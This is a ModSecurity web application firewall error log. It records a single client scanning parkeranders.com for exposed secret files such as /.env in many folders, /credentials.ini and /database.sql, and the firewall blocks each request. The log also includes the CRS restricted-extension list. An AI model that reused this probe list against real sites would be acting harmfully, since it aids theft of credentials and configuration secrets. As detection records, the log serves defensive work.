[Sat Oct 24 08:10:38.342940 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPg6rpxYYtVdDcXCoTgAAABg"]
[Sat Oct 24 08:10:38.350486 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/config/.env"] [unique_id "atygPhdOhHN-18IxgZKqpwAAAAY"]
[Sat Oct 24 08:10:38.350617 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/config/.env"] [unique_id "atygPhdOhHN-18IxgZKqpwAAAAY"]
[Sat Oct 24 08:10:38.351569 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPhdOhHN-18IxgZKqpwAAAAY"]
[Sat Oct 24 08:10:38.418298 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/core/.env"] [unique_id "atygPg6rpxYYtVdDcXCoTwAAABg"]
[Sat Oct 24 08:10:38.418513 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/core/.env"] [unique_id "atygPg6rpxYYtVdDcXCoTwAAABg"]
[Sat Oct 24 08:10:38.419360 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPg6rpxYYtVdDcXCoTwAAABg"]
[Sat Oct 24 08:10:38.419896 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/credentials.ini"] [unique_id "atygPl0Yuvqa3nuKpvNCHgAAAAk"]
[Sat Oct 24 08:10:38.420251 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/credentials.ini"] [unique_id "atygPl0Yuvqa3nuKpvNCHgAAAAk"]
[Sat Oct 24 08:10:38.420929 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPl0Yuvqa3nuKpvNCHgAAAAk"]
[Sat Oct 24 08:10:38.424230 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/database.sql"] [unique_id "atygPlGNStwISql-V9e98QAAAAs"]
[Sat Oct 24 08:10:38.424426 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/database.sql"] [unique_id "atygPlGNStwISql-V9e98QAAAAs"]
[Sat Oct 24 08:10:38.425088 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPlGNStwISql-V9e98QAAAAs"]
[Sat Oct 24 08:10:38.426333 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/demo/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj3AAAAAM"]
[Sat Oct 24 08:10:38.426552 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/demo/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj3AAAAAM"]
[Sat Oct 24 08:10:38.427488 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPoY2rJh4KkI7ZZhj3AAAAAM"]
[Sat Oct 24 08:10:38.428366 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/dev/.env"] [unique_id "atygPhdOhHN-18IxgZKqqAAAAAY"]
[Sat Oct 24 08:10:38.428491 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/dev/.env"] [unique_id "atygPhdOhHN-18IxgZKqqAAAAAY"]
[Sat Oct 24 08:10:38.429190 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPhdOhHN-18IxgZKqqAAAAAY"]
[Sat Oct 24 08:10:38.497377 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/frontend/.env"] [unique_id "atygPkWIGyA7zCtes8CKSgAAAAw"]
[Sat Oct 24 08:10:38.497512 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/frontend/.env"] [unique_id "atygPkWIGyA7zCtes8CKSgAAAAw"]
[Sat Oct 24 08:10:38.498270 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPkWIGyA7zCtes8CKSgAAAAw"]
[Sat Oct 24 08:10:38.503541 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/laravel/.env"] [unique_id "atygPmyV-56kZb5LgxTnIQAAAAE"]
[Sat Oct 24 08:10:38.503680 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/laravel/.env"] [unique_id "atygPmyV-56kZb5LgxTnIQAAAAE"]
[Sat Oct 24 08:10:38.504542 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPmyV-56kZb5LgxTnIQAAAAE"]
[Sat Oct 24 08:10:38.505097 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/media/.env"] [unique_id "atygPhdOhHN-18IxgZKqqQAAAAY"]
[Sat Oct 24 08:10:38.505228 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/media/.env"] [unique_id "atygPhdOhHN-18IxgZKqqQAAAAY"]
[Sat Oct 24 08:10:38.505953 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPhdOhHN-18IxgZKqqQAAAAY"]
[Sat Oct 24 08:10:38.536120 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/new/.env"] [unique_id "atygPnUcfBNBYE9xHAJA-AAAAAA"]
[Sat Oct 24 08:10:38.536314 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/new/.env"] [unique_id "atygPnUcfBNBYE9xHAJA-AAAAAA"]
[Sat Oct 24 08:10:38.537131 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA-AAAAAA"]
[Sat Oct 24 08:10:38.570805 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/old/.env"] [unique_id "atygPvMnT_rHlxLKOWDnBQAAAAc"]
[Sat Oct 24 08:10:38.570989 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/old/.env"] [unique_id "atygPvMnT_rHlxLKOWDnBQAAAAc"]
[Sat Oct 24 08:10:38.571695 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPvMnT_rHlxLKOWDnBQAAAAc"]
[Sat Oct 24 08:10:38.574065 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/production/.env"] [unique_id "atygPkWIGyA7zCtes8CKSwAAAAw"]
[Sat Oct 24 08:10:38.574196 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/production/.env"] [unique_id "atygPkWIGyA7zCtes8CKSwAAAAw"]
[Sat Oct 24 08:10:38.574892 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPkWIGyA7zCtes8CKSwAAAAw"]
[Sat Oct 24 08:10:38.576582 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/public/.env"] [unique_id "atygPlGNStwISql-V9e98wAAAAs"]
[Sat Oct 24 08:10:38.576737 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/public/.env"] [unique_id "atygPlGNStwISql-V9e98wAAAAs"]
